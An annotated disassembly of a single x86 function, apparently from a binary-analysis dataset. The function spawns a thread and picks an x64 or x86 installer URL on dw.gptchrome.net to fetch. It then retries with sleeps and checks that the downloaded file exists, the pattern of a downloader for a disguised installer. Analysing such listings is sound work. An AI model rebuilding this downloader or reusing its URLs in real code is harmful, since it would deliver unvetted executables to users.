Function at 0x412c20
Capabilities:
Check if file exists
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d91e5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x148
push esi
push edi
mov esi, ecx
mov ecx, 0x5101ed
mov dword [ebp - 4], 0
call fcn.004b532d
push 0x108
lea eax, [ebp - 0x150]
push 0
push eax
call fcn.004b8400
mov eax, dword [esi + 4]
add esp, 0xc
mov dword [ebp - 0x48], 0
mov eax, dword [eax]
push 0
mov dword [ebp - 0x154], eax
lea eax, [ebp - 0x3c]
push 0
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x154]
push eax
push 0x414420
push 0
push 0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
mov byte [ebp - 4], 1
call fcn.004082b0
mov edi, dword [ebp - 0x20]
cmp eax, 0x40
jne 0x412d76
cmp edi, 0x35
jb 0x412d02
cmp edi, 0x10
mov dword [ebp - 0x24], 0x35
push 0x35
lea esi, [ebp - 0x34]
cmovae esi, dword [ebp - 0x34]
push str.https:__dw.gptchrome.net_bropkg_GInstallerx64_162.exe
push esi
call fcn.004b7e80
add esp, 0xc
mov byte [esi + 0x35], 0
jmp 0x412e4f
mov ecx, edi
mov eax, SysReAllocString
shr ecx, 1
sub eax, ecx
cmp edi, eax
jbe 0x412d18
mov ecx, SysReAllocString
jmp 0x412d25
lea eax, [ecx + edi]
mov ecx, 0x3f
cmp eax, ecx
cmova ecx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0x14], ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402800
movups xmm0, xmmword [str.https:__dw.gptchrome.net_bropkg_GInstallerx64_162.exe]
mov esi, eax
mov dword [ebp - 0x24], 0x35
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
movups xmmword [esi], xmm0
movups xmm0, xmmword [0x4e1d84]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [0x4e1d94]
movups xmmword [esi + 0x20], xmm0
mov ecx, dword [0x4e1da4]
mov dword [esi + 0x30], ecx
mov al, byte [0x4e1da8]
jmp 0x412e14
cmp edi, 0x35
jb 0x412da5
cmp edi, 0x10
mov dword [ebp - 0x24], 0x35
push 0x35
lea esi, [ebp - 0x34]
cmovae esi, dword [ebp - 0x34]
push str.https:__dw.gptchrome.net_bropkg_GInstallerx86_162.exe
push esi
call fcn.004b7e80
add esp, 0xc
mov byte [esi + 0x35], 0
jmp 0x412e4f
mov ecx, edi
mov eax, SysReAllocString
shr ecx, 1
sub eax, ecx
cmp edi, eax
jbe 0x412dbb
mov ecx, SysReAllocString
jmp 0x412dc8
lea eax, [edi + ecx]
mov ecx, 0x3f
cmp eax, ecx
cmova ecx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0x14], ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402800
movups xmm0, xmmword [str.https:__dw.gptchrome.net_bropkg_GInstallerx86_162.exe]
mov esi, eax
mov dword [ebp - 0x24], 0x35
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
movups xmmword [esi], xmm0
movups xmm0, xmmword [0x4e1dbc]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [0x4e1dcc]
movups xmmword [esi + 0x20], xmm0
mov ecx, dword [0x4e1ddc]
mov dword [esi + 0x30], ecx
mov al, byte [0x4e1de0]
mov byte [esi + 0x34], al
mov byte [esi + 0x35], 0
cmp edi, 0x10
jb 0x412e4c
mov ecx, dword [ebp - 0x34]
inc edi
mov eax, ecx
cmp edi, 0x1000
jb 0x412e42
mov ecx, dword [ecx - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130f9
push edi
push ecx
call fcn.004b531f
add esp, 8
mov dword [ebp - 0x34], esi
or esi, 0xffffffff
cmp dword [ebp - 0x24], 0
jne 0x412e61
mov byte [ebp - 0xd], 0
jmp 0x41306b
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x34]
cmovae edi, dword [ebp - 0x34]
mov dword [ebp - 0x18], edi
call fcn.00405240
mov ecx, eax
test ecx, ecx
je 0x4130e5
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x1c], esi
mov byte [ebp - 4], 2
test edi, edi
je 0x412fe3
push 0
test edi, 0xffff0000
jne 0x412f8b
movzx eax, di
mov ecx, 0x50f044
mov dword [ebp - 0x14], eax
call fcn.004b75ae
mov edi, eax
mov dword [ebp - 0x38], 1
test edi, edi
je 0x412fee
mov eax, dword [ebp - 0x14]
shr eax, 4
inc eax
mov dword [ebp - 0x18], eax
push 0
push eax
push 6
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
test eax, eax
je 0x412ef1
push dword [ebp - 0x14]
push eax
push edi
call fcn.0040a1d0
add esp, 0xc
test eax, eax
jne 0x412f10
push dword [ebp - 0x38]
mov ecx, 0x50f044
call fcn.004b75ae
inc dword [ebp - 0x38]
mov edi, eax
test edi, edi
je 0x412fee
mov eax, dword [ebp - 0x18]
jmp 0x412ed0
test edi, edi
je 0x412fee
push 6
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x412fee
push dword [ebp - 0x14]
push eax
push edi
call fcn.0040a1d0
add esp, 0xc
mov dword [ebp - 0x18], eax
test eax, eax
je 0x412fee
movzx edx, word [eax]
mov ecx, 1
mov eax, dword [esi - 8]
mov edi, edx
sub ecx, dword [esi - 4]
sub eax, edi
or eax, ecx
jge 0x412f6e
push edi
lea ecx, [ebp - 0x1c]
call fcn.00405aa0
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
movzx edx, word [eax]
jmp 0x412f71
mov eax, dword [ebp - 0x18]
movzx ecx, dx
add eax, 2
push ecx
push eax
push edi
push esi
call fcn.004bee40
push eax
call fcn.004041a0
add esp, 0x14
jmp 0x412fcf
push 0
push 0xffffffffffffffff
push edi
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edi, [eax - 1]
test edi, edi
jle 0x412fe3
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edi
or eax, ecx
jge 0x412fbe
push edi
lea ecx, [ebp - 0x1c]
call fcn.00405aa0
mov esi, dword [ebp - 0x1c]
push edi
push esi
push 0xffffffffffffffff
push dword [ebp - 0x18]
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp edi, dword [esi - 8]
jg 0x4130ef
xor eax, eax
mov dword [esi - 0xc], edi
mov word [esi + edi*2], ax
jmp 0x412fee
lea ecx, [ebp - 0x1c]
call fcn.00404ba0
mov esi, dword [ebp - 0x1c]
mov byte [ebp - 4], 3
xor edi, edi
nop dword [eax]
nop dword [eax + eax]
push dword [ebp - 0x44]
mov dword [ebp - 0x3c], 0
push dword [ebp + 8]
push esi
call fcn.00404830
add esp, 0xc
test al, al
jne 0x41302b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 5
jl 0x413000
push 0xffffffffffffffff
push dword [ebp - 0x40]
mov dword [ebp - 0x48], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov byte [ebp - 4], 1
setne byte [ebp - 0xd]
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x413068
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
or esi, 0xffffffff
mov edx, dword [ebp - 0x20]
mov byte [ebp - 4], 0
cmp edx, 0x10
jb 0x41309f
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413095
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4130f9
push edx
push ecx
call fcn.004b531f
add esp, 8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], 0
add eax, 0xfffffff0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
mov dword [ebp - 4], 0xffffffff
lock xadd dword [eax + 0xc], esi
dec esi
pop edi
test esi, esi
pop esi
jg 0x4130d2
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push 0x80004005
call fcn.004042d0
push 0x80070057
call fcn.004042d0
call fcn.004bba0f
int3